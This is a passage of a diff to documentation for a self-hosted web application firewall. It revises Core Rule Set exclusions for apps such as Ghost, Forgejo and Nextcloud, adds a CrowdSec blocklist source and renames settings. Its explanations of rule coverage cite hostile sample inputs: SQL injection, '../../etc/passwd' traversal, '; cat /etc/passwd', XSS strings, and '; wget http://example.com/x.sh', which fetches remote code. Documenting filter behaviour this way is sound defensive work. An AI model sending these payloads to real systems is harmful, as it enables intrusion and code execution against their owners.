None applies when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is any
@@ -1326,9 +1294,8 @@ These fields of a body skip the rules that refused them:
have a namespace, such as `Special:`. The title follows `/index.php/` or
`/wiki/` in the path, or is the `title` of `/index.php`.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
@@ -1481,9 +1448,8 @@ items.
`<img src=x onerror=x()>` sent as a password reach Mastodon;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on these paths:
@@ -1548,9 +1514,8 @@ The addresses skip them on these paths too:
- `/api/auth-requests` and the paths under it, for signing in with another
device.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name.
`username` in the query of `/api/hibp/breach`, the data breach report, skips
930120, 932120 and 932260 too.
@@ -1723,11 +1688,10 @@ A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those
two paths.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies to a JSON
field when the query has a parameter of that name, such as `json.message`.
Nextcloud's pages are matched at the site root and under `/index.php/`.
Elsewhere these fields keep every rule.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies to a JSON field when the query has a parameter of that name,
such as `json.message`. Nextcloud's pages are matched at the site root and under
`/index.php/`. Elsewhere these fields keep every rule.
Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
@@ -1774,7 +1738,7 @@ Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
and `to` skip the lists of Windows commands and command names (932120, 932260),
which refused `fix-powershell-module` and `feat/docker-support`. This matters
only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
puts what gitea puts in `gitea_flash` (gitea's second fix).
@@ -1783,87 +1747,31 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
and the request it refused. Ghost's admin and integrations call the Admin API
under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
`/ghost/api/content/`, and members call `/members/api/`.
Eight rules refused words that name commands and files, such as `python3`,
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
Three query fields skip some rules:
These query fields skip some rules:
- `filter`, a query in Ghost's own filter language, skips those eight rules
except 930120, on the Admin API and the Content API;
- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
API and the Content API, so `tag:powershell` passes;
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
the Admin API;
- `url`, the address the editor looks up for an embed or a bookmark, skips
930120 and 932120;
- `source` and the `utm_` fields, which filter the analytics, skip those eight
rules under `/ghost/api/admin/stats/`;
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
there;
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
on the Admin API's posts;
- `query`, a search for an account in ActivityPub, skips those eight rules;
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
930120 and 932120.
The fields of JSON bodies where a person types plain text skip those eight
rules. They are these fields of posts, pages, tags, labels, members, newsletters
and snippets, on the Admin API:
The fields of JSON bodies where a person types plain text skip 930120, 932120,
932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
pages, tags, labels, members, newsletters and snippets, on the Admin API:
- `title`, `name` and `slug`;
- a post's `tags` and a member's `labels`, by name or slug;
- `custom_excerpt`, `description`, `note` and `sender_name`;
- the `meta_`, `og_` and `twitter_` titles and descriptions.
These fields on the Admin API skip them too:
- a staff user's `name`, `slug`, `bio`, `location` and `website`;
- `blogTitle` and `name` when creating the first staff user;
- `name` when accepting an invitation;
- `name`, `description` and `benefits` of tiers;
- `name`, `code`, `display_title` and `display_description` of offers;
- `title`, `description` and `excerpt` of recommendations;
- `name` and `description` of integrations, and `name` of webhooks;
- `feature_image_alt` and `feature_image_caption` of posts and pages.
These fields skip them on their own paths:
- a member's `name` at `/members/api/`;
- `html` of a member's comment at `/members/api/comments/`;
- `labels`, when the admin imports members from a CSV file;
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
description of its image;
- `name`, `username` and `bio` of the account in ActivityPub.
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
the admin adds or edits a member. A staff user's address skips them too. It is
sent as `username` when signing in, and as `email` in these requests:
- creating the first staff user;
- asking for a password reset;
- saving a profile;
- inviting a staff user;
- accepting an invitation.
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
its rules only on its own path:
- `sourceHandle`, an account that moves here, when it is added at
`/.ghost/activitypub/v1/aliases`;
- `actorUri`, that account's address, when the admin removes it there;
- `targetHandle`, the account this one moves to, at
`/.ghost/activitypub/v1/migration`;
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
`/.ghost/activitypub/v1/domain/validate`.
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
does. Each skips them only on its own path:
- a post's under `/ghost/api/admin/posts/`;
- a page's under `/ghost/api/admin/pages/`;
- a tag's under `/ghost/api/admin/tags/`.
A member's `name` at `/members/api/` skips them too. A member's `email` skips
930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
member. A staff user's address skips them too: `username` when signing in, and
`email` when creating the first staff user, asking for a password reset or
saving a profile.
The articles carry HTML on purpose. These fields on the Admin API hold them:
@@ -1883,14 +1791,12 @@ The articles skip these rules:
Code injection is the HTML that Ghost adds to the head and the foot of a page.
These fields on the Admin API hold it:
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `value` of settings, since the site's settings hold its code injection.
Code injection skips these rules:
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
refused words that name commands and files, such as the site's title
`powershell & python3`;
- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements.
@@ -1899,22 +1805,15 @@ card can embed a widget and code injection can load analytics. These are the
fields, on the Admin API:
- `lexical`, `mobiledoc` and `html` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `codeinjection_head` and `codeinjection_foot` of posts and pages;
- `value` of settings.
`<script>alert(1)</script>` is still refused in snippets and newsletters.
`javascript:alert(1)` is still refused in the articles and code injection
(941170 and 941210). Path traversal and SQL injection are still refused in every
field above. Script injection is too, outside the articles and code injection.
`; wget http://example.com/x.sh` is still refused in these fields:
- the addresses, the handles and the domain;
- the `canonical_url` of posts, pages and tags;
- `search`, `url`, `pathname`, `email_segment` and `email`.
The other fields above skip 932235, which refuses that command but also refuses
`powershell & python3`.
`; wget http://example.com/x.sh` is still refused in the query fields, the plain
text and the addresses.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
That name holds `.profile`, a file on the list of system files, so the name
@@ -1927,10 +1826,9 @@ resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`,
`; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach
Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query
has a parameter of the same name. Elsewhere these fields keep every rule. The
paths are those of Ghost at the site root.
These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
set. None applies when the query has a parameter of the same name. Elsewhere
these fields keep every rule. The paths are those of Ghost at the site root.
Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies
@@ -1951,11 +1849,12 @@ to the surrounding netblock. The four ban lengths are under "Bans".
### Reputation
No source is on by default. A source acts on a list kept elsewhere; the defaults
judge a client only by what it does here. AbuseIPDB also needs an account of the
operator's own. The list best suited to be on by default, Spamhaus DROP, has
terms, below, that forbid frequent fetching, and Spamhaus may block an address
that breaks them. Each `waf` fetches its own copy, so several of them on one
host, sharing one address, would often fetch too close together.
judge a client only by what it does here. AbuseIPDB and CrowdSec also need an
account or an engine of the operator's own. The list best suited to be on by
default, Spamhaus DROP, has terms, below, that forbid frequent fetching, and
Spamhaus may block an address that breaks them. Each `waf` fetches its own copy,
so several of them on one host, sharing one address, would often fetch too close
together.
- Blocklists (`SWW_WAF_BLOCKLIST_URLS`) are text files of addresses and
netblocks, one to a line, as the Spamhaus DROP list is written. Anything after
@@ -1988,6 +1887,18 @@ host, sharing one address, would often fetch too close together.
percentage of every request and byte limit, and suits a list of addresses
shared with ordinary visitors, such as Tor exits. `log` only notes the hit in
the log line and raises an alert.
- A CrowdSec engine on the host (`SWW_WAF_CROWDSEC_LAPI_URL`) has its decision
list fetched every minute, with `SWW_WAF_CROWDSEC_LAPI_KEY` in the `X-Api-Key`
header. The list is kept like a fetched blocklist, and a client on it is
banned (see "Bans"). Only decisions of the type `ban` on an address or a
netblock are used; any other, such as a captcha or a country, is left out. A
decision lasts for the `duration` it had left when the engine answered. This
is how a fleet-wide blocklist can arrive without `waf` depending on CrowdSec.
A fetch fails when:
- the engine answers other than `200`, a redirect included;
- the fetch does not finish within a minute;
- the answer is longer than 16 MiB;
- the answer is not a list of decisions.
- Each DNS blocklist (`SWW_WAF_DNSBL_ZONES`) is asked about a client's own
address in the background, the first time the client is seen. No request waits
for the answer. The name asked about is the one RFC 5782 gives: the numbers of
@@ -1999,7 +1910,7 @@ host, sharing one address, would often fetch too close together.
- an answer in `127.255.255.0/24`;
- an answer outside `127.0.0.0/8`;
- a resolver error;
- no answer within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
- no answer within `SWW_WAF_REPUTATION_TIMEOUT`.
DNS blocklists made for mail servers list residential ranges, and would
block ordinary visitors, so they should not be used. Spamhaus zones need
@@ -2024,13 +1935,13 @@ host, sharing one address, would often fetch too close together.
after which no client is checked for a minute, when:
- AbuseIPDB answers other than `200`;
- the answer gives no score;
- no answer comes within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`.
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`, for DNS blocklist and AbuseIPDB hits, is
- no answer comes within `SWW_WAF_REPUTATION_TIMEOUT`.
- `SWW_WAF_REPUTATION_ACTION`, for DNS blocklist and AbuseIPDB hits, is
`limit:25` by default. Such verdicts are less certain than a blocklist, so a
listed client gets a quarter of every request and byte limit rather than a
refusal.
- Verdicts and scores are kept for `SWW_WAF_IP_REPUTATION_CACHE_TTL`, in memory
and in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
- Verdicts and scores are kept for `SWW_WAF_REPUTATION_CACHE_TTL`, in memory and
in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
quota gives no verdict. The service continues. Each failure raises a
`source_failure` alert (see "Alerting").
@@ -2067,13 +1978,13 @@ which the metrics show. They reveal a widely distributed scraper, thousands of
addresses at low rates each, which the per-client limits do not see. A low
percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
- Requests and body bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted
per minute and per hour, for each of:
- Requests and body bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted per
minute and per hour, for each of:
- a client;
- the surrounding netblock;
- an AS number;
- the whole service;
- a named netblock in `SWW_WAF_ANOMALY_WATCHED_NETS`.
- a named netblock in `SWW_WAF_WATCH_NETS`.
- Every request `waf` answers with `allow`, `deny` or `close` is counted, an
allowed one when its report comes. That holds whatever was done with it, and
for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`,
@@ -2082,9 +1993,9 @@ percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
## Rule files
`waf` reads every `*.rules` file in `SWW_WAF_RULE_FILES_DIR` and checks each
request against them. `docs/rules.md` gives the format, the targets and actions,
and the default file.
`waf` reads every `*.rules` file in `SWW_WAF_RULES_DIR` and checks each request
against them. `docs/rules.md` gives the format, the targets and actions, and the
default file.
- The files are plain text meant to be edited by hand, so that a new scanning
pattern seen in the request log becomes a rule in one line. `waf` watches the
@@ -2113,9 +2024,9 @@ and the default file.
- a regex that does not compile;
- a duplicate id.
So does a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read.
While running, the same faults leave the rules as they were, and the log and
one `file_error` alert name the file and line. Once the file is fixed, it is
So does a `SWW_WAF_RULES_DIR` that does not exist or cannot be read. While
running, the same faults leave the rules as they were, and the log and one
`file_error` alert name the file and line. Once the file is fixed, it is
read again. An empty directory is not an error: the log says that no rules
were loaded.
@@ -2125,13 +2036,13 @@ and the default file.
`/<owner>/<repo>/src/branch/main/.env.example` is a file in a repository that
any visitor may open. Anchor the paths of your own `ban` rules at the site
root too. A rule has one target, so a `path` rule applies on every site behind
that `waf`. A directory mounted over `SWW_WAF_RULE_FILES_DIR` replaces the
default file; single files mounted into it add to it.
that `waf`. A directory mounted over `SWW_WAF_RULES_DIR` replaces the default
file; single files mounted into it add to it.
- Rules meant to be edited while `waf` runs belong in a mounted directory, not a
mounted file. Many editors save a file by replacing it, and a container keeps
seeing the old one when the file alone is mounted. The lookup database is
mounted the same way, for the same reason. To run without rule files, mount an
empty directory or set `SWW_WAF_RULE_FILES_ENABLED=false`.
empty directory or set `SWW_WAF_RULES_ENABLED=false`.
## Persistent state
@@ -2218,8 +2129,8 @@ lists the files, what each holds, and their sizes.
in the metrics and sent as one `file_error` alert per cooldown, and retried at
the next write.
- A hard kill loses the changes since the last write: ban changes from the last
`SWW_WAF_BANS_WRITE_DELAY`, everything else from the last
`SWW_WAF_STATE_WRITE_INTERVAL`. Losing the volume loses ban history, not
`SWW_WAF_STATE_WRITE_DELAY`, everything else from the last
`SWW_WAF_STATE_COUNTER_INTERVAL`. Losing the volume loses ban history, not
service.
## Request log
@@ -2245,11 +2156,10 @@ lines to stdout only.
severity informational, the time, the host's name and the app name from
`SWW_WAF_LOG_REMOTE_APP_NAME`.
- Sending happens on its own goroutine from a buffer of
`SWW_WAF_LOG_REMOTE_BUFFER_LINES` lines, so a server that is slow or down
never holds up a request and never stops stdout. When the buffer is full, the
oldest line is dropped and counted in the metrics. A failed connection is
tried again a second later, and twice as long after each further failure, up
to a minute.
`SWW_WAF_LOG_REMOTE_BUFFER` lines, so a server that is slow or down never
holds up a request and never stops stdout. When the buffer is full, the oldest
line is dropped and counted in the metrics. A failed connection is tried again
a second later, and twice as long after each further failure, up to a minute.
- As `waf` stops, it spends at most two seconds sending the lines still waiting,
and drops the rest; stdout has carried them.
@@ -2373,9 +2283,9 @@ runs no check, writes no request log line and counts nothing in the metrics.
answer but the last below carries `X-Sww-Disposition`.
- `X-Sww-Disposition: allow`, status `200`, no body. `rproxy` passes the request
to the app. While `SWW_WAF_ADD_LOOKUP_HEADERS` is `true`, the answer also
carries `X-Client-ASN` and `X-Client-Country`, which `rproxy` adds to the
request it passes on. A header whose value is unknown is left out.
to the app. With `SWW_WAF_ADD_LOOKUP_HEADERS` the answer also carries
`X-Client-ASN` and `X-Client-Country`, which `rproxy` adds to the request it
passes on. A header whose value is unknown is left out.
- `X-Sww-Disposition: deny`, with the status, headers and body the visitor is to
get. `rproxy` gives them to the visitor, less this header. The status is one
of:
@@ -2396,48 +2306,46 @@ In `observe` mode a request that `enforce` mode would refuse is answered
answered `404`.
The Core Rule Set inspects the body a question carries only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. It inspects at most 64 KiB
less one byte. So it does not inspect a JSON or XML body of 64 KiB or more,
which may have been cut short.
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. It inspects at most 64 KiB less one
byte. So it does not inspect a JSON or XML body of 64 KiB or more, which may
have been cut short.
### Answering in time
`rproxy` stops waiting for `waf` after `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, by
default 2 seconds, and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` then
decides. The longest a question waits on an outside source is
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds, well
within that time.
`rproxy` stops waiting for `waf` after `SWW_RPROXY_TIMEOUT_MS`, by default 2
seconds, and `SWW_RPROXY_DEFAULT_DISPOSITION` then decides. The longest a
question waits on an outside source is `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
milliseconds, well within that time.
GeoJS is the only outside source a question can wait on. A question waits only
when step 6 says so, and for at most
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds. A
client without an answer by then counts as unknown. No question waits on these,
which run in the background:
when step 6 says so, and for at most `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
milliseconds. A client without an answer by then counts as unknown. No question
waits on these, which run in the background:
- the DNS blocklists and AbuseIPDB;
- fetching the blocklists, the tag lists and the file
`SWW_WAF_ASN_LIMIT_PERCENT_URL` names.
- fetching the blocklists, the tag lists, the CrowdSec decision list and the
file `SWW_WAF_ASN_LIMIT_PERCENT_URL` names.
In `enforce` mode, a question does not wait for GeoJS when it is a request:
- from a client on a fetched blocklist, while `SWW_WAF_BLOCKLIST_ACTION` is
`deny`;
- from a client on the CrowdSec decision list;
- that would take its client over a rate limit at 100% of it, since a percentage
can only lower a limit.
Such a request still goes through the steps in their order. Its client's AS
number and country stay unknown until GeoJS has answered. So while
`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first.
`SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` does not apply to it until then, so not
waiting never lowers its limit.
`SWW_WAF_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
never lowers its limit.
The header limits, the static lists and bans come before the lookup, so they
never wait. These can still wait for GeoJS:
- a country list, which needs the answer;
- a rate limit a percentage has lowered, which needs the answer;
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` is
`deny`;
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_REPUTATION_ACTION` is `deny`;
- a trap path;
- a rule file;
- the Core Rule Set.
@@ -2467,8 +2375,7 @@ other check runs on it.
The Core Rule Set runs each of its rules on each cookie, so thousands of small
cookies would keep it busy for over a second. Within the limits, one long cookie
or query string can still keep it busy for a fraction of a second. So enough
such requests at once can overload `waf` past
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`.
such requests at once can overload `waf` past `SWW_RPROXY_TIMEOUT_MS`.
### The report
@@ -2507,7 +2414,7 @@ answer.
For a request it holds, `waf` writes the request's last log line (see "The
log"). For a request it allowed, it first:
- counts the body bytes `SWW_WAF_BYTES_COUNTED` names, toward the client's byte
- counts the body bytes `SWW_WAF_BYTES_COUNT` names, toward the client's byte
limits at the percentages it gave that request;
- bans a client whose total passes a byte limit;
- adds the request with its status to the client's history, the anomaly counters
@@ -2574,9 +2481,9 @@ request and ban notes name the site by its host.
`sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each
request, and passes on what `waf` allows. It keeps nothing between requests and
writes nothing to disk. When `waf` cannot be connected to, does not answer at
all, or does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`,
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides. Its default, `allow`,
keeps the site answering.
all, or does not answer within `SWW_RPROXY_TIMEOUT_MS`,
`SWW_RPROXY_DEFAULT_DISPOSITION` decides. Its default, `allow`, keeps the site
answering.
`rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists.
One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no
@@ -2667,37 +2574,36 @@ log line has status `0`.
### Without an answer from `waf`
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with the
request only when `waf`:
`SWW_RPROXY_DEFAULT_DISPOSITION` decides what is done with the request only when
`waf`:
- cannot be connected to;
- does not answer at all;
- does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, which covers
connecting, sending the question and reading the whole answer.
- does not answer within `SWW_RPROXY_TIMEOUT_MS`, which covers connecting,
sending the question and reading the whole answer.
An answer whose body breaks off counts as no answer at all.
`allow`, the default, passes the request to the app. `deny` answers `503`.
Either way `rproxy` writes a process warning, its log line has
`waf_backend_no_answer`, and it sends no report.
`default_disposition`, and it sends no report.
A visitor can make `waf` slow. A request that keeps `waf` busy past
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, like any request while `waf` is overloaded,
gets `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. With `deny`, such a request
gets `503` instead of reaching the app.
`SWW_RPROXY_TIMEOUT_MS`, like any request while `waf` is overloaded, gets
`SWW_RPROXY_DEFAULT_DISPOSITION`. With `deny`, such a request gets `503` instead
of reaching the app.
A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
that the app never sees that prefix.
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
below `200`. The visitor gets `502` from `rproxy`, whatever
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process
warning, its log line has no `disposition`, and it sends no report.
below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
writes a process warning, its log line has no `disposition`, and it sends no
report.
A visitor that goes away while `waf` is being asked is no failure of `waf`.
`rproxy` closes the connection with no warning and no report, and
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has
status `0` and no `disposition`.
`rproxy` closes the connection, with no warning, no default and no report. Its
log line has status `0` and no `disposition`.
### Passing a request to the app
@@ -2800,8 +2706,8 @@ those at `info` or more severe are written.
On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in
progress five seconds to finish. It then waits for the reports on their way,
each for up to `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. A report that comes due
after that is dropped, such as that of a WebSocket that closes later.
each for up to `SWW_RPROXY_TIMEOUT_MS`. A report that comes due after that is
dropped, such as that of a WebSocket that closes later.
## Deployment
@@ -2895,14 +2801,13 @@ process that stops at start is started again every second, not in a tight loop.
does not stop. Beside an app, the other process keeps running.
- While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy`
answers `502`, which is not a client offence. While `waf` is down,
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides (see "Without an answer
from `waf`").
`SWW_RPROXY_DEFAULT_DISPOSITION` decides (see "Without an answer from `waf`").
- Only faults found at start stop `waf`:
- invalid configuration;
- a lookup database that is missing or unreadable;
- a rule file or state file that does not parse;
- an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`;
- a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read;
- a `SWW_WAF_RULES_DIR` that does not exist or cannot be read;
- a `SWW_WAF_LISTEN_ADDR` it cannot listen on.
- Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on,
stops `rproxy`.
+5 -3
View File
@@ -13,8 +13,9 @@ back or dropped.
threshold. The request was refused unless the alert's `detail` gives `mode`:
`detect` or `observe`.
- `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist or a DNS blocklist,
or with an AbuseIPDB score that is a hit. One alert per source.
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
One alert per source.
- `source_failure`: one of:
- GeoJS failing;
- a list that cannot be fetched;
@@ -68,7 +69,8 @@ on one line:
"earlier_bans": {
"limit": 0,
"attack": 0,
"admin": 0
"admin": 0,
"crowdsec": 0
}
}
},
+2 -3
View File
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
## Traffic
@@ -33,8 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
## Countries and AS numbers
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
as `other`:
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
+12 -11
View File
@@ -97,7 +97,7 @@ Every one of these lines has:
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
rule or a trap path that made such a ban;
rule, a trap path or a CrowdSec decision that made such a ban;
- `permanently_banned`: refused under a ban that never runs out, including a
ban this request made or made permanent;
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
@@ -118,6 +118,8 @@ Every one of these lines has:
- `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
@@ -126,8 +128,8 @@ Every one of these lines has:
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`,
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
@@ -146,7 +148,7 @@ Every one of these lines has:
holds:
- `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_WAF_BYTES_COUNTED` names, in that window.
`SWW_WAF_BYTES_COUNT` names, in that window.
A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
@@ -156,8 +158,7 @@ Every one of these lines has:
- `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the refusal limit
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
- `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its
@@ -169,6 +170,7 @@ Every one of these lines has:
and the rules that matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order:
- blocklist URLs;
- the CrowdSec decision list's URL;
- DNS blocklist zones;
- `abuseipdb`.
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
@@ -231,15 +233,14 @@ meanings where they differ:
was sooner. It includes the wait for `waf`.
- `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `waf`'s answer, or the value of
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
left out when:
- `waf` was not asked, as for the health check;
- the visitor went away while `waf` was being asked;
- `waf`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
- `waf_backend_no_answer`: `true` when
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
otherwise left out.
- `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out.
For example:
+78 -76
View File
@@ -12,8 +12,6 @@ chooses between the two (see "The image's command" below).
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused.
- A time in milliseconds is a whole number above zero, such as `2000`. Its
setting's name ends in `_MS`.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
